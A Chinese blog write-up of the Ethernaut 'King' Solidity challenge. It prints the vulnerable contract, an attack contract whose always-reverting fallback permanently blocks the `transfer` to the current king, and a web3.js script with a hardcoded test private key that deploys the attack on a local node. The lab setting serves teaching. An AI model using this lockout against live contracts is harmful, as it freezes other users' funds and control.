blockchain | ethernaut 09 King

发布时间 2023-09-06 11:39:16作者: Mz1

blockchain | ethernaut 09 King

这关考察的是合约地址转账时的细节。

在合约中进行转账可以transfer,send,或者底层的call。
transfer如果出错会回退撤销执行。
所以如果transfer到一个不接受转账的合约地址,就没办法成功。

题目合约如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

让我们占山为王!

攻击合约:

pragma solidity ^0.8.0;

contract Hack1 {
    constructor(address payable addr) payable public {
        // 0.8.0以后的call转账写法
        (bool success, ) = addr.call{value:(0.009 ether)}("");
        require(success, "err");
    }
    fallback() external payable{
        require(false);
    }
}

其实这里不知道为什么如果分步进行就会出问题,需要大量gasfee,所以只能直接在创建合约的时候一次性把事情干完。

交互脚本:

const Web3 = require('web3');
const fs = require('fs');
const deploy = require('./Deploy.js');   // 导入部署模块

const rpcURL = 'http://127.0.0.1:8545';
//const addr = '0xda8e0A6Becd46E3C1d25BEbcc0E8f6723Cf2F924';
const web3 = new Web3.Web3(rpcURL);    // 链接网络节点

const privateKey = '0x957c03cef7400defc7585d5dd81c48455557aa29c12c627ad0fd17d73effe696';
web3.eth.accounts.wallet.add(privateKey);
const wallet = web3.eth.accounts.wallet[0];
console.log(wallet)

let exp = async function(){
	console.log("Present balance: "+await web3.eth.getBalance(wallet.address));
	let aim_contract_addr = "0xffaCD800fCEE23837198C032e6c7f112Eb7FAe9A";
	let data = await web3.eth.getStorageAt(aim_contract_addr, 0);
	console.log(data);   // 读private数据king
	let jsonabi = JSON.parse(fs.readFileSync('contracts/King.json', 'utf8')).abi
	var contract = new web3.eth.Contract(jsonabi, aim_contract_addr, {
	    from: wallet.address
	});
	data = await contract.methods.prize().call();
	console.log(web3.utils.fromWei(data, 'ether')+" ether");    // 当前的金额
	data = await contract.methods.owner().call();
	console.log(data);
	// 调用攻击合约进行转账
	// 攻击合约没有收款方式所以可以导致合约transfer失败锁仓
	// 部署攻击合约

	let hack_contract = await deploy(
		'contracts/Hack1.json', web3, wallet, 
		{gas:1000000, gasPrice:10000000000, value:web3.utils.toWei(0.01, 'ether'), arguments:[aim_contract_addr]}
	);
	console.log("hack_contract addr:"+hack_contract._address);
	console.log("hack balance: " + web3.utils.fromWei(await web3.eth.getBalance(hack_contract._address), "ether"));
	data = await contract.methods.prize().call();
	console.log(web3.utils.fromWei(data, 'ether')+" ether");    // 当前的金额
	data = await contract.methods.owner().call();
	console.log(data);
}

exp();

这里我修改了之前封装的Deploy.js,便于在部署的时候传递参数:

const Web3 = require('web3');
const fs = require('fs');
/*
参数:
json_path: truffle编译的json合约路径
web3: web3对象->const web3 = new Web3.Web3(rpcURL);
wallet: 钱包对象->web3.eth.accounts.wallet[0]
*/
const deploy = async function(json_path, web3, wallet, args={gas:1000000, gasPrice:10000000000, value:0, arguments:undefined}){
	let contract_json = JSON.parse(fs.readFileSync(json_path, 'utf8'))
	let jsonabi = contract_json.abi;
	let bytecode= contract_json.bytecode;
	let myContract = new web3.eth.Contract(jsonabi);
	console.log(args);    // debug
	const contract = await myContract.deploy({
			data: bytecode,
			arguments: args.arguments
		}).send({
					from: wallet.address,
					gas: args.gas,
		            gasPrice: args.gasPrice,
		            value: args.value
		});
	console.log('> 合约部署完毕');
	return contract;
}

module.exports = deploy;

image